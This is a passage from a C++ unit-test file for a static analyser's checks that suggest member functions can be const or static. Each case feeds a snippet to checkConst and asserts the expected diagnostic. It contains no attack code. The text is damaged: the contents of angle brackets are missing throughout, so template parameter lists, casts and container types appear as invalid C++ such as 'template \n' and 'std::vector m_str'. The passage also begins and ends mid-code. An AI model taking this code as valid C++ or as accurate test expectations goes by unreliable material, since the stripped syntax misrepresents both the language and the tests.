SelectorControl\\n\"\n \"{\\n\"\n \" MyGUI::IntSize getSize()\\n\"\n \" {\\n\"\n \" return mCoordValue.size();\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" MyGUI::IntCoord mCoordValue;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:15]: (style, inconclusive) Technically the member function 'SelectorControl::getSize' can be const.\\n\",\n \"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" int i = 0;\\n\"\n \" void run() { i++; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" void run() const { }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Bar::run' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Foo::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const58() {\n checkConst(\"struct MyObject {\\n\"\n \" void foo(Foo f) {\\n\"\n \" f.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" int foo(Foo f) {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" Foo f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" std::string f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'MyObject::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const59() { // ticket #4646\n checkConst(\"class C {\\n\"\n \"public:\\n\"\n \" inline void operator += (const int &x ) { re += x; }\\n\"\n \" friend inline void exp(C & c, const C & x) { }\\n\"\n \"protected:\\n\"\n \" int re;\\n\"\n \" int im;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const60() { // ticket #3322\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs ) {\\n\"\n \" delete m_ptr;\\n\"\n \" m_ptr = new char[42];\\n\"\n \" }\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs );\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const61() { // ticket #5606 - don't crash\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" int GetAudioFrame();\\n\"\n \"};\\n\"\n \"int MixerParticipant::GetAudioFrame() {\\n\"\n \" return 0;\\n\"\n \"}\");\n\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" bool InitializeFileReader() {\\n\"\n \" printf(\\\"music\\\");\\n\"\n \" }\\n\"\n \"};\");\n\n // Based on an example from SVN source code causing an endless recursion within CheckClass::isConstMemberFunc()\n // A more complete example including a template declaration like\n // template class Hash{/* ... */};\n // didn't .\n checkConst(\"template<>\\n\"\n \"class Hash {\\n\"\n \"protected:\\n\"\n \" typedef Key::key_type key_type;\\n\"\n \" void set(const Key& key);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"class Hash : private Hash {\\n\"\n \" typedef Hash inherited;\\n\"\n \" void set(const Key& key) {\\n\"\n \" inherited::set(inherited::Key(key));\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckConstOptions, $.inconclusive = false));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:23]: (performance, inconclusive) Either there is a missing 'override', or the member function 'MixerParticipant::GetAudioFrame' can be static. [functionStatic]\\n\",\n errout_str());\n }\n\n void const62() {\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::unordered_map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const63() {\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string* p = &s;\\n\"\n \" p->clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = sth; r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string* p = &s;\\n\"\n \" p->somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string& r = s;\\n\"\n \" r.somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const64() {\n checkConst(\"namespace B {\\n\"\n \" namespace D {\\n\"\n \" typedef int DKIPtr;\\n\"\n \" }\\n\"\n \" class ZClass {\\n\"\n \" void set(const ::B::D::DKIPtr& p) {\\n\"\n \" membervariable = p;\\n\"\n \" }\\n\"\n \" ::B::D::DKIPtr membervariable;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const65() {\n checkConst(\"template \\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" TemplateClass a;\\n\"\n \" TemplateClass b;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const66() {\n checkConst(\"struct C {\\n\"\n \" C() : n(0) {}\\n\"\n \" void f(int v) { g((char *) &v); }\\n\"\n \" void g(char *) { n++; }\\n\"\n \" int n;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const67() { // #9193\n checkConst(\"template >\\n\"\n \"class TestList {\\n\"\n \"public:\\n\"\n \" LIST_T m_list;\\n\"\n \"};\\n\"\n \"class Test {\\n\"\n \"public:\\n\"\n \" const std::list>& get() { return m_test.m_list; }\\n\"\n \" TestList> m_test;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:44]: (style, inconclusive) Technically the member function 'Test::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const68() { // #6471\n checkConst(\"class MyClass {\\n\"\n \" void clear() {\\n\"\n \" SVecPtr v = (SVecPtr) m_data;\\n\"\n \" v->clear();\\n\"\n \" }\\n\"\n \" void* m_data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const69() { // #9806\n checkConst(\"struct A {\\n\"\n \" int a = 0;\\n\"\n \" template void call(const Args &... args) { a = 1; }\\n\"\n \" template auto call(const Args &... args) -> T {\\n\"\n \" a = 2;\\n\"\n \" return T{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B : public A {\\n\"\n \" void test() {\\n\"\n \" call();\\n\"\n \" call(1, 2, 3);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const70() {\n checkConst(\"struct A {\\n\"\n \" template void call(Args ... args) {\\n\"\n \" func(this);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void test() {\\n\"\n \" call(1, 2);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const71() { // #10146\n checkConst(\"struct Bar {\\n\"\n \" int j = 5;\\n\"\n \" void f(int& i) const { i += j; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar bar;\\n\"\n \" int k{};\\n\"\n \" void g() { bar.f(k); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j, int*& p) {\\n\"\n \" p = &(((a[j])));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const72() { // #10520\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n }\n\n void const73() {\n checkConst(\"struct A {\\n\"\n \" int* operator[](int i);\\n\"\n \" const int* operator[](int i) const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j) {\\n\"\n \" int* p = a[j];\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10758\n \" T* h;\\n\"\n \" void f(); \\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" char* c = h->x[y];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const74() { // #10671\n checkConst(\"class A {\\n\"\n \" std::vector m_str;\\n\"\n \"public:\\n\"\n \" A() {}\\n\"\n \" void bar(void) {\\n\"\n \" for(std::vector::const_iterator it = m_str.begin(); it != m_str.end(); ++it) {;}\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'A::bar' can be const. [functionConst]\\n\", errout_str());\n\n // Don't crash\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (std::vector::const_iterator it = v.begin(), end = v.end(); it != end; ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const75() { // #10065\n checkConst(\"namespace N { int i = 0; }\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int i = 0;\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace N {\\n\"\n \" struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::S::i) {}\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style, inconclusive) Technically the member function 'N::S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const76() { // #10825\n checkConst(\"struct S {\\n\"\n \" enum E {};\\n\"\n \" void f(const T* t);\\n\"\n \" E e;\\n\"\n \"};\\n\"\n \"struct T { void e(); };\\n\"\n \"void S::f(const T* t) {\\n\"\n \" const_cast(t)->e();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:9]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const77() {\n checkConst(\"template \\n\" // #10307\n \"struct S {\\n\"\n \" std::vector const* f() const { return p; }\\n\"\n \" std::vector const* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10311\n \" std::vector v;\\n\"\n \" std::vector& f() { return v; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const78() { // #10315\n checkConst(\"struct S {\\n\"\n \" typedef void(S::* F)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" using F = void(S::*)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const79() { // #9861\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" char* f() {\\n\"\n \" return nullptr;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const80() { // #11328\n checkConst(\"struct B { static void b(); };\\n\"\n \"struct S : B {\\n\"\n \" static void f() {}\\n\"\n \" void g() const;\\n\"\n \" void h();\\n\"\n \" void k();\\n\"\n \" void m();\\n\"\n \" void n();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::g() const {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::h() {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::k() {\\n\"\n \" if (i)\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::m() {\\n\"\n \" this->B::b();\\n\"\n \"}\\n\"\n \"void S::n() {\\n\"\n \" this->h();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:11:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:14:9]: (performance, inconclusive) Technically the member function 'S::h' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:17:9]: (style, inconclusive) Technically the member function 'S::k' can be const. [functionConst]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:21:9]: (performance, inconclusive) Technically the member function 'S::m' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const81() {\n checkConst(\"struct A {\\n\" // #11330\n \" bool f() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::shared_ptr a;\\n\"\n \" void g() {\\n\"\n \" if (a->f()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\" // #11499\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:8]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(void*) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \" P& operator=(P) {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" std::vector g() { p->f(nullptr); return {}; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:14:20]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int&) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" int i;\\n\"\n \" void g() { p->f(i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\" // #11501\n \" enum E { E1 };\\n\"\n \" virtual void f(E) const = 0;\\n\"\n \"};\\n\"\n \"struct F {\\n\"\n \" A* a;\\n\"\n \" void g() { a->f(A::E1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (style, inconclusive) Technically the member function 'F::g' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const82() { // #11513\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(bool) const;\\n\"\n \" void g() { h(i == 1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(int, int*) const;\\n\"\n \" void g() { int a; h(i, &a); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const83() {\n checkConst(\"struct S {\\n\"\n \" int i1, i2;\\n\"\n \" void f(bool b);\\n\"\n \" void g(bool b, int j);\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" int& r = b ? i1 : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\"\n \"void S::g(bool b, int j) {\\n\"\n \" int& r = b ? j : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const84() {\n checkConst(\"class S {};\\n\" // #11616\n \"struct T {\\n\"\n \" T(const S*);\\n\"\n \" T(const S&);\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" const S s;\\n\"\n \" void f1() {\\n\"\n \" T t(&s);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" T t(s);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'C::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'C::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const85() { // #11618\n checkConst(\"struct S {\\n\"\n \" int a[2], b[2];\\n\"\n \" void f() { f(a, b); }\\n\"\n \" static void f(const int p[2], int q[2]);\\n\"\n \"};\\n\"\n \"void S::f(const int p[2], int q[2]) {\\n\"\n \" q[0] = p[0];\\n\"\n \" q[1] = p[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const86() { // #11621\n checkConst(\"struct S { int* p; };\\n\"\n \"struct T { int m; int* p; };\\n\"\n \"struct U {\\n\"\n \" int i;\\n\"\n \" void f() { S s = { &i }; }\\n\"\n \" void g() { int* a[] = { &i }; }\\n\"\n \" void h() { T t = { 1, &i }; }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const87() {\n checkConst(\"struct Tokenizer {\\n\" // #11720\n \" bool isCPP() const {\\n\"\n \" return cpp;\\n\"\n \" }\\n\"\n \" bool cpp;\\n\"\n \"};\\n\"\n \"struct Check {\\n\"\n \" const Tokenizer* const mTokenizer;\\n\"\n \" const int* const mSettings;\\n\"\n \"};\\n\"\n \"struct CheckA : Check {\\n\"\n \" static bool test(const std::string& funcname, const int* settings, bool cpp);\\n\"\n \"};\\n\"\n \"struct CheckB : Check {\\n\"\n \" bool f(const std::string& s);\\n\"\n \"};\\n\"\n \"bool CheckA::test(const std::string& funcname, const int* settings, bool cpp) {\\n\"\n \" return !funcname.empty() && settings && cpp;\\n\"\n \"}\\n\"\n \"bool CheckB::f(const std::string& s) {\\n\"\n \" return CheckA::test(s, mSettings, mTokenizer->isCPP());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:15:10] -> [test.cpp:20:14]: (style, inconclusive) Technically the member function 'CheckB::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"void g(int&);\\n\"\n \"struct S {\\n\"\n \" struct { int i; } a[1];\\n\"\n \" void f() { g(a[0].i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void j(int** x);\\n\"\n \"void k(int* const* y);\\n\"\n \"struct S {\\n\"\n \" int* p;\\n\"\n \" int** q;\\n\"\n \" int* const* r;\\n\"\n \" void f1() { j(&p); }\\n\"\n \" void f2() { j(q); }\\n\"\n \" void g1() { k(&p); }\\n\"\n \" void g2() { k(q); }\\n\"\n \" void g3() { k(r); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void m(int*& r);\\n\"\n \"void n(int* const& s);\\n\"\n \"struct T {\\n\"\n \" int i;\\n\"\n \" int* p;\\n\"\n \" void f1() { m(p); }\\n\"\n \" void f2() { n(&i); }\\n\"\n \" void f3() { n(p); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const88() { // #11626\n checkConst(\"struct S {\\n\"\n \" bool f() { return static_cast(p); }\\n\"\n \" const int* g() { return const_cast(p); }\\n\"\n \" const int* h() { return (const int*)p; }\\n\"\n \" char* j() { return reinterpret_cast(p); }\\n\"\n \" char* k() { return (char*)p; }\\n\"\n \" int* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:3:16]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:4:16]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" bool f() { return p != nullptr; }\\n\"\n \" std::shared_ptr p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const89() {\n checkConst(\"struct S {\\n\" // 